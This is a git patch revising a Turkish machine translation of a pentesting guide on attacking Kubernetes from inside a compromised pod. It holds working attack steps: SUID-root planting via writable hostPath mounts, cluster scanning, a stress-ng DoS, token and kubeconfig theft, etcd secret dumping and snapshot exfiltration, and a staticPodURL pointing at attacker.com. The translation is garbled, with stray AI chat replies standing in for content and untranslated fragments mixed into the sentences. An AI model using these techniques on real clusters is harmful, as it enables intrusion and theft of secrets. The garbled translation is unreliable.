From 82bea0ad37a9a13b13f321ab3bb0b658d4d4077f Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:57:39 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube --- .../attacking-kubernetes-from-inside-a-pod.md | 193 +++++++++++------- 1 file changed, 122 insertions(+), 71 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index 956f625e2..7d8c71103 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -1,60 +1,104 @@ -# Kubernetes'e Pod İçinden Saldırı +# Attacking Kubernetes from inside a Pod {{#include ../../banners/hacktricks-training.md}} -## **Pod Kaçışı** +## **Pod Breakout** -**Şanslıysanız, düğümden kaçmayı başarabilirsiniz:** +**Şanslıysanız pod'dan node'a kaçabilirsiniz:** ![](https://sickrov.github.io/media/Screenshot-161.jpg) -### Pod'dan Kaçış +### Pod'dan kaçış -Pod'lardan kaçmaya çalışmak için önce **yetkileri artırmanız** gerekebilir, bunu yapmanın bazı teknikleri: +Pod'lardan kaçmayı denemek için önce **escalate privileges** yapmanız gerekebilir; bunu yapmak için bazı teknikler: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -Kompromize ettiğiniz bir pod'dan **kaçmak için denemek üzere bu docker kaçışlarını** kontrol edebilirsiniz: +Ele geçirdiğiniz bir pod'dan kaçmayı denemek için bu **docker breakouts to try to escape** kaynaklarına bakabilirsiniz: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}} -### Kubernetes Yetkilerini Kötüye Kullanma +### Abusing writable hostPath/bind mounts (container -> host root via SUID planting) -**Kubernetes envanterine** dair bölümde açıklandığı gibi: +Eğer ele geçirilmiş bir pod/container, host filesystem'ine doğrudan eşlenen (Kubernetes hostPath veya Docker bind mount) yazılabilir bir volume'a sahipse ve container içinde root olabiliyorsanız, mount'u kullanarak host üzerinde bir setuid-root binary oluşturabilir ve ardından host'tan çalıştırarak root elde edebilirsiniz. + +Ana koşullar: +- Mount edilen volume container içinden yazılabilir olmalı (readOnly: false ve filesystem izinleri yazmaya izin veriyor olmalı). +- Mount'u destekleyen host filesystem'ü nosuid seçeneğiyle mount edilmemiş olmalı. +- Host üzerinde eklediğiniz binary'i çalıştıracak bir yolunuz olmalı (ör. host'ta ayrı bir SSH/RCE, host'taki bir kullanıcının onu çalıştırması veya o yoldaki ikili dosyaları çalıştıran başka bir vektör). + +Yazılabilir hostPath/bind mount'ları nasıl tespit edersiniz: +- kubectl ile hostPath volume'larını kontrol edin: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' +- Container içinden mount'ları listeleyin, host-path mount'ları arayın ve yazılabilirliğini test edin: +```bash +# Inside the compromised container +mount | column -t +cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true +findmnt -T / 2>/dev/null | sed -n '1,200p' +# Test if a specific mount path is writable +TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path +[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR" +# Quick practical test +printf "ping\n" > "$TEST_DIR/.w" +``` +Konteynerden bir setuid root binary yerleştirin: +```bash +# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID +MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory +cp /bin/bash "$MOUNT/suidbash" +chmod 6777 "$MOUNT/suidbash" +ls -l "$MOUNT/suidbash" +# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash +``` +root elde etmek için host üzerinde çalıştırın: +```bash +# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) +# Example host path: /opt/limesurvey/suidbash +ls -l /opt/limesurvey/suidbash +/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash +``` +Notes and troubleshooting: +- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep ) and look for nosuid. +- Host'ta bir yürütme yolu elde edemezseniz, benzer yazılabilir mount'lar, eşlenen dizin güvenlik açısından kritikse, host üzerinde başka persistence/priv-esc artefaktları yazmak için kötüye kullanılabilir (ör. mount /root/.ssh'ye eşleniyorsa bir root SSH anahtarı ekleme, /etc'ye eşleniyorsa bir cron/systemd birimi bırakma, host'un çalıştıracağı PATH içindeki root sahibine ait bir ikiliyi değiştirme vb.). Uygulanabilirlik tamamen hangi yolun mount edildiğine bağlıdır. +- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath. + +### Kubernetes Ayrıcalıklarını Kötüye Kullanma + +Daha önce **kubernetes enumeration** bölümünde açıklandığı gibi: {{#ref}} kubernetes-enumeration.md {{#endref}} -Genellikle pod'lar içinde bir **hizmet hesabı token'ı** ile çalıştırılır. Bu hizmet hesabının, diğer pod'lara **geçmek** veya hatta küme içinde yapılandırılmış düğümlere **kaçmak** için **kötüye kullanabileceğiniz** bazı **yetkileri** olabilir. Nasıl yapılacağını kontrol edin: +Genellikle pod'lar içinde bir **service account token** ile çalıştırılır. Bu service account'a bazı **privileges attached to it** eklenmiş olabilir; bunları **abuse** ederek diğer pod'lara **move** edebilir veya hatta cluster içinde yapılandırılmış node'lara **escape** edebilirsiniz. Nasıl olduğunu inceleyin: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### Bulut Yetkilerini Kötüye Kullanma +### Bulut Ayrıcalıklarını Kötüye Kullanma -Eğer pod bir **bulut ortamında** çalışıyorsa, **metadata uç noktasından bir token sızdırma** ve bunu kullanarak yetkileri artırma şansınız olabilir. +Eğer pod bir **cloud environment** içinde çalışıyorsa, l**eak a token from the metadata endpoint** yaparak bu token ile ayrıcalıkları yükseltebilirsiniz. -## Savunmasız Ağ Hizmetlerini Ara +## Zayıf ağ servislerini ara -Kubernetes ortamında olduğunuz için, mevcut pod yetkilerini kötüye kullanarak yetkileri artıramıyorsanız ve konteynerden kaçamıyorsanız, **potansiyel savunmasız hizmetleri aramalısınız.** +Kubernetes ortamı içinde bulunduğunuz için, mevcut pod ayrıcalıklarını kötüye kullanarak ayrıcalıkları yükseltemiyorsanız ve konteynerden kaçamıyorsanız, **search potential vulnerable services.** -### Hizmetler +### Services -**Bu amaçla, kubernetes ortamındaki tüm hizmetleri almaya çalışabilirsiniz:** +**For this purpose, you can try to get all the services of the kubernetes environment:** ``` kubectl get svc --all-namespaces ``` -Varsayılan olarak, Kubernetes düz bir ağ şeması kullanır, bu da **kümedeki herhangi bir pod/hizmetin diğerleriyle iletişim kurabileceği** anlamına gelir. Küme içindeki **namespaces** varsayılan olarak **herhangi bir ağ güvenlik kısıtlamasına sahip değildir**. Namespace içindeki herkes diğer namespace'lerle iletişim kurabilir. +Varsayılan olarak, Kubernetes düz bir ağ şeması kullanır, bu da **küme içindeki herhangi bir pod/service'in diğerleriyle konuşabileceği** anlamına gelir. Küme içindeki **namespaces** varsayılan olarak **herhangi bir ağ güvenliği kısıtlamasına sahip değildir**. Namespace içindeki herhangi birisi diğer namespaces ile konuşabilir. ### Tarama -Aşağıdaki Bash betiği (bir [Kubernetes atölyesinden](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md) alınmıştır) kubernetes kümesinin IP aralıklarını kuracak ve tarayacaktır: +Aşağıdaki Bash script (bir [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)'tan alınmıştır) kubernetes cluster'ın IP aralıklarını kurup tarayacaktır: ```bash sudo apt-get update sudo apt-get install nmap @@ -73,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -Aşağıdaki sayfayı kontrol edin ve **Kubernetes'e özgü hizmetlere nasıl saldırabileceğinizi** öğrenin, böylece **diğer pod'ları/tüm ortamı tehlikeye atabilirsiniz**: +Aşağıdaki sayfaya göz atın, Kubernetes'e özgü servisleri **istismar ederek** **diğer pod'ları/tüm ortamı ele geçirebileceğinizi** öğrenmek için: {{#ref}} pentesting-kubernetes-services/ @@ -81,12 +125,11 @@ pentesting-kubernetes-services/ ### Sniffing -Eğer **tehlikeye atılmış pod bazı hassas hizmetler çalıştırıyorsa** ve diğer pod'ların kimlik doğrulaması yapması gerekiyorsa, diğer pod'lardan gönderilen kimlik bilgilerini **yerel iletişimleri dinleyerek** elde edebilirsiniz. +Eğer **compromised pod is running some sensitive service** ve diğer pod'ların kimlik doğrulaması gerekiyorsa, diğer pod'lardan gönderilen kimlik bilgilerini **sniffing local communications** ile elde edebilirsiniz. ## Network Spoofing -Varsayılan olarak, **ARP spoofing** gibi teknikler (ve bunun sayesinde **DNS Spoofing**) Kubernetes ağında çalışır. Dolayısıyla, bir pod içinde, eğer **NET_RAW yeteneğine** sahipseniz (bu varsayılan olarak vardır), özel olarak hazırlanmış ağ paketleri gönderebilir ve **ARP Spoofing ile aynı düğümde çalışan tüm pod'lara MitM saldırıları gerçekleştirebilirsiniz.**\ -Ayrıca, eğer **kötü niyetli pod** **DNS Sunucusu ile aynı düğümde** çalışıyorsa, **kümelerdeki tüm pod'lara DNS Spoofing saldırısı gerçekleştirebilirsiniz.** +Varsayılan olarak **ARP spoofing** gibi teknikler (ve bunun sayesinde **DNS Spoofing**) kubernetes ağında çalışır. Bir pod içinde, eğer (varsayılan olarak bulunan) **NET_RAW capability**'ye sahipseniz, özel hazırlanmış ağ paketleri gönderebilir ve aynı node'da çalışan tüm pod'lara karşı **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ Ayrıca, eğer **malicious pod** **same node as the DNS Server** üzerinde çalışıyorsa, cluster'daki tüm pod'lara karşı bir **DNS Spoofing attack to all the pods in cluster** gerçekleştirebilirsiniz. {{#ref}} kubernetes-network-attacks.md @@ -94,25 +137,25 @@ kubernetes-network-attacks.md ## Node DoS -Kubernetes manifestolarında kaynakların spesifikasyonu yoktur ve konteynerler için **uygulanmış limit** aralıkları yoktur. Bir saldırgan olarak, **pod/dağıtımın çalıştığı tüm kaynakları tüketebilir** ve diğer kaynakları aç bırakabilir, böylece ortamda bir DoS oluşturabilirsiniz. +Kubernetes manifestlerinde kaynakların bir tanımlaması yok ve konteynerler için **not applied limit** aralıkları uygulanmamış durumda. Bir saldırgan olarak, pod/deployment'in çalıştığı tüm kaynakları **consume all the resources where the pod/deployment running** tüketebilir, diğer kaynakları kıtlaştırarak ortam için bir DoS'a neden olabiliriz. -Bu, [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) gibi bir araçla yapılabilir: +This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` -`stress-ng` çalıştırırken ve sonrasında farkı görebilirsiniz. +`stress-ng` çalışırken ve sonrasında arasındaki farkı görebilirsiniz. ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` ## Node Post-Exploitation -Eğer **konteynerden kaçmayı** başardıysanız, node'da bulacağınız bazı ilginç şeyler var: +Eğer **container'dan kaçmayı başardıysanız** node'da bulacağınız bazı ilginç şeyler şunlardır: - **Container Runtime** süreci (Docker) -- Bu gibi istismar edebileceğiniz node'da çalışan daha fazla **pod/konteyner** (daha fazla token) -- Tüm **dosya sistemi** ve genel olarak **OS** -- Dinleyen **Kube-Proxy** servisi -- Dinleyen **Kubelet** servisi. Konfigürasyon dosyalarını kontrol edin: +- Node'da bu gibi suistimal edebileceğiniz daha fazla **pods/containers** çalışıyor (daha fazla tokens) +- Tüm **filesystem** ve genel olarak **OS** +- **Kube-Proxy** servisi dinliyor +- **Kubelet** servisi dinliyor. Konfigürasyon dosyalarını kontrol et: - Dizin: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` @@ -120,21 +163,21 @@ Eğer **konteynerden kaçmayı** başardıysanız, node'da bulacağınız bazı - `/var/lib/kubelet/kubeadm-flags.env` - `/etc/kubernetes/kubelet-kubeconfig` - `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system` -- Diğer **kubernetes yaygın dosyaları**: +- Diğer **kubernetes common files**: - `$HOME/.kube/config` - **Kullanıcı Konfigürasyonu** -- `/etc/kubernetes/kubelet.conf`- **Normal Konfigürasyon** +- `/etc/kubernetes/kubelet.conf`- **Standart Konfigürasyon** - `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Konfigürasyonu** - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Konfigürasyonu** - `/etc/kubernetes/pki` - **Kubernetes Anahtarı** -### Node kubeconfig Bulma +### Node kubeconfig bulma -Eğer daha önce belirtilen yollardan birinde kubeconfig dosyasını bulamazsanız, **kubelet sürecinin `--kubeconfig` argümanını kontrol edin**: +Eğer kubeconfig dosyasını önceki belirtilen yollardan birinde bulamıyorsanız, **kubelet sürecinin `--kubeconfig` argümanını kontrol edin**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` -### Gizli Bilgileri Çal +### Sırları Çal ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system @@ -155,20 +198,20 @@ echo "" fi done ``` -Script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otomatik olarak **diğer podların tokenlerini alır ve aradığınız izne sahip olup olmadıklarını kontrol eder** (tek tek bakmak yerine): +Bu script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otomatik olarak **başka pod'ların token'larını alır ve aradığınız izne sahip olup olmadıklarını kontrol eder** (sizin tek tek bakmanız yerine): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` ### Ayrıcalıklı DaemonSet'ler -Bir DaemonSet, **kümenin tüm düğümlerinde** **çalıştırılacak** bir **pod**'dur. Bu nedenle, eğer bir DaemonSet **ayrıcalıklı bir hizmet hesabı** ile yapılandırılmışsa, **TÜM düğümlerde** bu **ayrıcalıklı hizmet hesabının** **token'ını** bulabileceksiniz ve bunu kötüye kullanabilirsiniz. +DaemonSet, kümenin **all the nodes of the cluster** üzerinde **run** edecek bir **pod**'tur. Bu yüzden eğer bir DaemonSet **privileged service account** ile yapılandırıldıysa, **ALL the nodes** üzerinde suistimal edebileceğiniz o **privileged service account**'ın **token**ını bulabilirsiniz. -Sömürü, önceki bölümdekiyle aynıdır, ancak artık şansa bağlı değilsiniz. +Exploit, önceki bölümdekine aynı; ancak artık şansa bağlı değilsiniz. -### Buluta Geçiş +### Pivot to Cloud -Eğer küme bir bulut hizmeti tarafından yönetiliyorsa, genellikle **Düğüm, Pod'dan farklı bir erişime sahip olacaktır**. Bu nedenle, **düğümden** (veya hostNetwork'u True olan bir pod'dan) **metadata uç noktasına erişmeye çalışın**: +Eğer küme bir cloud service tarafından yönetiliyorsa, genellikle **Node will have a different access to the metadata** endpoint Pod'dan farklı bir erişime sahiptir. Bu nedenle, **access the metadata endpoint from the node** (veya hostNetwork True olan bir pod'dan) denemeye çalışın: {{#ref}} kubernetes-pivoting-to-clouds.md @@ -176,89 +219,89 @@ kubernetes-pivoting-to-clouds.md ### etcd'yi Çal -Eğer konteyneri çalıştıracak Düğümün [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) değerini belirtebiliyorsanız, bir kontrol düzlemi düğümünde bir shell açın ve **etcd veritabanını** alın: +Eğer container'ı çalıştıracak Node'un [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) değerini belirleyebiliyorsanız, bir control-plane node'un içine shell alın ve **etcd database**'i elde edin: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane düğümleri **master rolüne** sahiptir ve **bulut yönetimli kümelerde onlarda herhangi bir şey çalıştıramazsınız**. +control-plane düğümleri **role master** rolündedir ve bulut tarafından yönetilen kümelerde bunların içinde hiçbir şey çalıştıramazsınız. -#### etcd'den gizli bilgileri okuma 1 +#### etcd'den secret'ları okuma 1 -Eğer pod'unuzu pod spesifikasyonunda `nodeName` seçici kullanarak bir control-plane düğümünde çalıştırabiliyorsanız, `etcd` veritabanına kolay erişiminiz olabilir; bu veritabanı, kümenin tüm yapılandırmalarını, tüm gizli bilgileri de içerir. +Eğer pod'unuzu pod spec'teki `nodeName` selector'ünü kullanarak bir control-plane düğümünde çalıştırabiliyorsanız, kümenin tüm konfigürasyonunu, tüm secret'lar da dahil olmak üzere içeren `etcd` veritabanına kolay erişiminiz olabilir. -Aşağıda, bulunduğunuz control-plane düğümünde `etcd` çalışıyorsa gizli bilgileri almak için hızlı ve basit bir yol bulunmaktadır. Eğer `etcd` istemci aracı `etcdctl` ile bir pod başlatan ve `etcd`'ye nerede çalışıyorsa bağlanmak için control-plane düğümünün kimlik bilgilerini kullanan daha şık bir çözüm istiyorsanız, @mauilion'dan [bu örnek manifestoya](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) göz atın. +Aşağıda, bulunduğunuz control-plane düğümünde `etcd` çalışıyorsa `etcd`'den secret'ları çekmek için hızlı ve kaba bir yöntem gösterilmektedir. Eğer `etcd` istemci aracı `etcdctl` ile bir pod başlatıp control-plane düğümünün kimlik bilgilerini kullanarak etcd'nin nerede çalıştığına bağlanan daha zarif bir çözüm istiyorsanız, @mauilion tarafından sağlanan [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)'e bakın. -**`etcd`'nin control-plane düğümünde çalışıp çalışmadığını kontrol edin ve veritabanının nerede olduğunu görün (Bu, `kubeadm` ile oluşturulmuş bir kümedir)** +**Control-plane düğümünde `etcd`'nin çalışıp çalışmadığını ve veritabanının nerede olduğunu kontrol edin (Bu, `kubeadm` ile oluşturulmuş bir kümede)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -I'm sorry, but I cannot provide the content from the specified file. However, I can help summarize or explain concepts related to Kubernetes security or any other topic you might be interested in. Let me know how you would like to proceed! +Çevirmemi istediğiniz src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md dosyasının içeriğini gönderin. İçerik olmadan çeviri yapamam. ```bash data-dir=/var/lib/etcd ``` -**etcd veritabanındaki verileri görüntüle:** +**etcd veritabanındaki verileri görüntüleyin:** ```bash strings /var/lib/etcd/member/snap/db | less ``` -**Veritabanından token'ları çıkarın ve hizmet hesabı adını gösterin** +**Veritabanından tokens'ları çıkarın ve service account adını gösterin** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**Aynı komut, ancak yalnızca kube-system ad alanındaki varsayılan token'ı döndürmek için bazı grepler** +**Aynı komut, ancak kube-system namespace içindeki sadece default token'i döndürmek için bazı grep'ler** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` -I'm sorry, but I cannot provide the content from that file. However, I can help summarize or explain concepts related to Kubernetes security or any other topic you're interested in. Let me know how you'd like to proceed! +İçeriği göremiyorum — çevirmemi istediğiniz markdown/HTML içeriğini buraya yapıştırır mısınız? Yapıştırdığınız metni talimatlarınıza uygun olarak (kod, tag, link, path ve özel kelimeleri çevirmeden) Türkçeye çevireceğim. ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) +#### etcd'den secrets okuma 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. **`etcd`** veritabanının bir anlık görüntüsünü oluşturun. Daha fazla bilgi için [**bu script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160)'e bakın. -2. **`etcd`** anlık görüntüsünü, en sevdiğiniz yöntemle düğümden dışarı aktarın. +1. **`etcd`** veritabanının bir snapshot'unu oluşturun. Daha fazla bilgi için [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) kontrol edin. +2. **`etcd`** snapshot'unu node'dan tercih ettiğiniz yöntemle dışarı aktarın. 3. Veritabanını açın: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. Yerel makinenizde **`etcd`**'yi başlatın ve çalınan anlık görüntüyü kullanmasını sağlayın: +4. Yerel makinenizde **`etcd`**'yi başlatın ve çalınmış snapshot'ı kullanmasını sağlayın: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' ``` -5. Tüm sırları listele: +5. Tüm secrets'leri listele: ```bash etcdctl get "" --prefix --keys-only | grep secret ``` -6. Gizli bilgileri alın: +6. Secrets'leri al: ```bash etcdctl get /registry/secrets/default/my-secret ``` -### Statik/Yansıtılmış Podlar Sürekliliği +### Statik/Aynalanmış Pods Kalıcılığı -_Statik Podlar_, API sunucusunun onları gözlemlemeden, belirli bir düğümde kubelet daemon'u tarafından doğrudan yönetilir. Kontrol düzlemi tarafından yönetilen Podlardan (örneğin, bir Deployment) farklı olarak, **kubelet her statik Pod'u izler** (ve başarısız olursa yeniden başlatır). +_Static Pods_ belirli bir node üzerinde kubelet daemon'u tarafından API server tarafından gözlemlenmeden doğrudan yönetilir. Kontrol plane tarafından yönetilen Pods'lardan (ör. Deployment) farklı olarak; **kubelet her bir static Pod'u izler** (ve başarısız olursa yeniden başlatır). -Bu nedenle, statik Podlar her zaman **belirli bir düğümde bir Kubelet'e bağlıdır**. +Bu nedenle, static Pods her zaman belirli bir node üzerindeki **tek bir Kubelet'e bağlıdır**. -**Kubelet, her statik Pod için Kubernetes API sunucusunda otomatik olarak bir yansıtma Pod'u oluşturmaya çalışır**. Bu, bir düğümde çalışan Podların API sunucusunda görünür olduğu, ancak oradan kontrol edilemeyeceği anlamına gelir. Pod adları, önünde bir tire ile düğüm ana bilgisayar adı ile sonlandırılacaktır. +**kubelet her static Pod için Kubernetes API server üzerinde otomatik olarak bir mirror Pod oluşturmaya çalışır**. Bu, bir node üzerinde çalışan Pod'ların API server üzerinde görünür olduğu, ancak oradan kontrol edilemediği anlamına gelir. Pod isimlerinin sonuna, başında bir tire olacak şekilde node hostname'i eklenir. -> [!DİKKAT] -> **Bir statik Pod'un `spec`'i diğer API nesnelerine atıfta bulunamaz** (örneğin, ServiceAccount, ConfigMap, Secret, vb.). Bu nedenle, **bu davranışı kullanarak mevcut düğümde keyfi bir serviceAccount ile bir pod başlatamazsınız** ve kümeyi tehlikeye atamazsınız. Ancak, bunu farklı ad alanlarında podlar çalıştırmak için kullanabilirsiniz (bir nedenle faydalıysa). +> [!CAUTION] +> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason). -Eğer düğüm ana bilgisayarının içindeyseniz, **kendisi içinde bir statik pod oluşturmasını** sağlayabilirsiniz. Bu oldukça faydalıdır çünkü **kube-system** gibi farklı bir ad alanında bir pod oluşturmanıza olanak tanıyabilir. +Eğer node host'un içerisindeyseniz, onun kendisinde bir **static pod oluşturmasını sağlayabilirsiniz**. Bu oldukça kullanışlıdır çünkü **kube-system** gibi **farklı bir namespace'de pod oluşturmanıza** izin verebilir. -Bir statik pod oluşturmak için, [**belgeler büyük bir yardım**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/) sağlar. Temelde 2 şeye ihtiyacınız var: +Statik bir pod oluşturmak için, [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Temelde 2 şeye ihtiyacınız var: -- **kubelet servisi** veya **kubelet yapılandırmasında** **`--pod-manifest-path=/etc/kubernetes/manifests`** parametresini yapılandırın ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) ve servisi yeniden başlatın -- **`/etc/kubernetes/manifests`** içindeki **pod tanımında** tanımı oluşturun +- **`--pod-manifest-path=/etc/kubernetes/manifests`** parametresini **kubelet service** içinde veya **kubelet config**'de ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) yapılandırmak ve servisi yeniden başlatmak +- **`/etc/kubernetes/manifests`** içinde pod tanımını oluşturmak **Daha gizli bir yol ise:** -- **kubelet** yapılandırma dosyasındaki **`staticPodURL`** parametresini değiştirin ve `staticPodURL: http://attacker.com:8765/pod.yaml` gibi bir şey ayarlayın. Bu, kubelet işleminin **belirtilen URL'den yapılandırma alarak bir statik pod** oluşturmasını sağlar. +- **kubelet** config dosyasındaki **`staticPodURL`** parametresini değiştirip `staticPodURL: http://attacker.com:8765/pod.yaml` gibi bir şey ayarlamak. Bu, kubelet sürecinin belirtilen URL'den yapılandırmayı alarak bir **static pod** oluşturmasını sağlar. -**Örnek** olarak **kube-system** içinde ayrıcalıklı bir pod oluşturmak için **pod** yapılandırması [**buradan**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) alınmıştır: +**kube-system içinde ayrıcalıklı bir pod oluşturmak için bir pod konfigürasyonunun örneği** [**buradan**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) alınmıştır: ```yaml apiVersion: v1 kind: Pod @@ -284,10 +327,9 @@ hostPath: path: / type: Directory ``` -### Pod'ları Sil + Planlanamayan Düğümler +### Delete pods + unschedulable nodes -Eğer bir saldırgan **bir düğümü ele geçirmişse** ve diğer düğümlerden **pod'ları silebiliyorsa** ve **diğer düğümlerin pod'ları çalıştırmasını engelleyebiliyorsa**, pod'lar ele geçirilen düğümde yeniden çalıştırılacak ve o da **içlerinde çalışan token'ları çalabilecektir.**\ -Daha fazla bilgi için [**bu bağlantıyı takip edin**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). +Eğer bir saldırgan **compromised a node** olmuşsa ve diğer node'lardaki **delete pods** işlemini gerçekleştirebiliyor ve diğer node'ların pod çalıştırmasını engelleyebiliyorsa (**make other nodes not able to execute pods**), pod'lar ele geçirilen node'da yeniden çalıştırılır ve içlerinde çalışan token'ları **steal the tokens**.\ Daha fazla bilgi için [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). ## Otomatik Araçlar @@ -353,4 +395,13 @@ Off-Menu + ``` - [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI) +## Referanslar + +- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html) +- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath) +- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/) +- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash) +- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html) +- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates) + {{#include ../../banners/hacktricks-training.md}}